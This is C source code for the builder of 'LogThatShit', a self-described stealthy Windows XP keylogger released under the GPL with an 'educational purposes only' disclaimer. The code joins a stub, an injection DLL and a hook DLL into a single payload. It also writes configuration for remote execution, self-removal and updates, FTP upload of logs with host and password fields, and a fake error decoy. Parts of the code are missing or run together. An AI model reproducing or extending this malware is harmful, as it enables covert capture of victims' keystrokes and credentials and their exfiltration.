// LogThatShit // A stealthly keylogger designed on and for Windows XP // By Isam M. // http://biodegradablegeek.com // This software file (the "File") is distributed under the terms of the // GNU General Public License Version 3, (the "License"). You may use, // redistribute and/or modify this File in accordance with the terms and // conditions of the License, a copy of which is available along with the // File in the license.txt file or by writing to // Free Software Foundation, Inc., // 59 Temple Place, // Suite 330, Boston, MA, 02111-1307 // // or on the Internet at http://www.gnu.org/licenses/gpl.txt. // THE FILE IS DISTRIBUTED AS-IS, WITHOUT WARRANTY OF ANY KIND. THE AUTHOR // DOES NOT TAKE ANY RESPONSIBILITY FOR ANY DAMAGE OR LEGAL ISSUES YOU MAY // FACE WHEN USING THIS APPLICATION. PLEASE NOTE THAT LTS WAS WRITTEN AND // RELEASED FOR *EDUCATIONAL* PURPOSES ONLY AND IS NOT INTENDED TO BE USED // FOR ANYTHING THAT MAY BE AGAINST THE LAW WHERE YOU LIVE. IF YOU DO NOT // WANT THAT RESPONSIBILITY, PLEASE DONT COMPILE OR USE THIS APPLICATION. // TODO // XXX Check variables for invalid characters, slash.. // XXX Instead of just exec, create special file for opening files via // default viewer. lts_shell ShellExecute() for example. // XXX Filter window caption / program path #include #include #include #include #include #include #include "Common.h" char* General[] = {"GENERAL", "ALIAS", "PATH", "FILENAME", "LOGNAME", "INJECTNAME", "HOOKNAME"}; char* Remote[] = {"REMOTE", "EXEC", "REMOVE", "UPDATE"}; char* Log[] = {"LOG", "MAXLOGSIZE", "LOGCHECKINT"}; char* Ftp[] = {"FTP", "ROOT", "HOST", "USER", "PASS"}; char* Misc[] = {"MISC", "FAKEERROR", "ERRMSG", "ERRCAP"}; char hookpath[MAX_PATH+1]; char injectionpath[MAX_PATH+1]; /* int Alphanumeric(const char* data, unsigned int sz) { unsigned int i; for (i=0; i 0) fwrite(buf, 1, rlen, output); fclose(file); puts("*** Writing injection..."); GetPrivateProfileString("BUILD", "INJECTION", "", injectionpath, MAX_PATH, ini); if (!injectionpath[0]) { fprintf(stderr, "*** ERROR: Missing or invalid stub path. Please check LogThatShit.ini\n"); system("pause"); return 1; } file = fopen(injectionpath, "rb"); if (!file) { fprintf(stderr, "*** ERROR: Unable to open injection DLL. Make sure it's in the same path as this app and try again.\n"); fclose(output); system("pause"); return 1; } while ((rlen = fread(buf, 1, 1024, file)) > 0) fwrite(buf, 1, rlen, output); fclose(file); puts("*** Writing hook..."); GetPrivateProfileString("BUILD", "HOOK", "", hookpath, MAX_PATH, ini); if (!hookpath[0]) { fprintf(stderr, "*** ERROR: Missing or invalid hook path. Please check LogThatShit.ini\n"); system("pause"); return 1; } file = fopen(hookpath, "rb"); if (!file) { fprintf(stderr, "*** ERROR: Unable to open hook DLL \"%s\".\n", hookpath); fclose(output); system("pause"); return 1; } while ((rlen = fread(buf, 1, 1024, file)) > 0) fwrite(buf, 1, rlen, output); fclose(file); /* Write key/value pair from the ini file to the output file. */ OutputDataStruct(output, ini, OutputBlock(output, ini)); /* Write the signature. */ puts("*** Writing signature.."); fwrite("LTS", 1, 3, output); /* Clean up and notify user that we have successfully finished. */ fclose(output); printf("\n*** Successfully generated \"%s\"\n", outputpath); system("pause"); return 0; }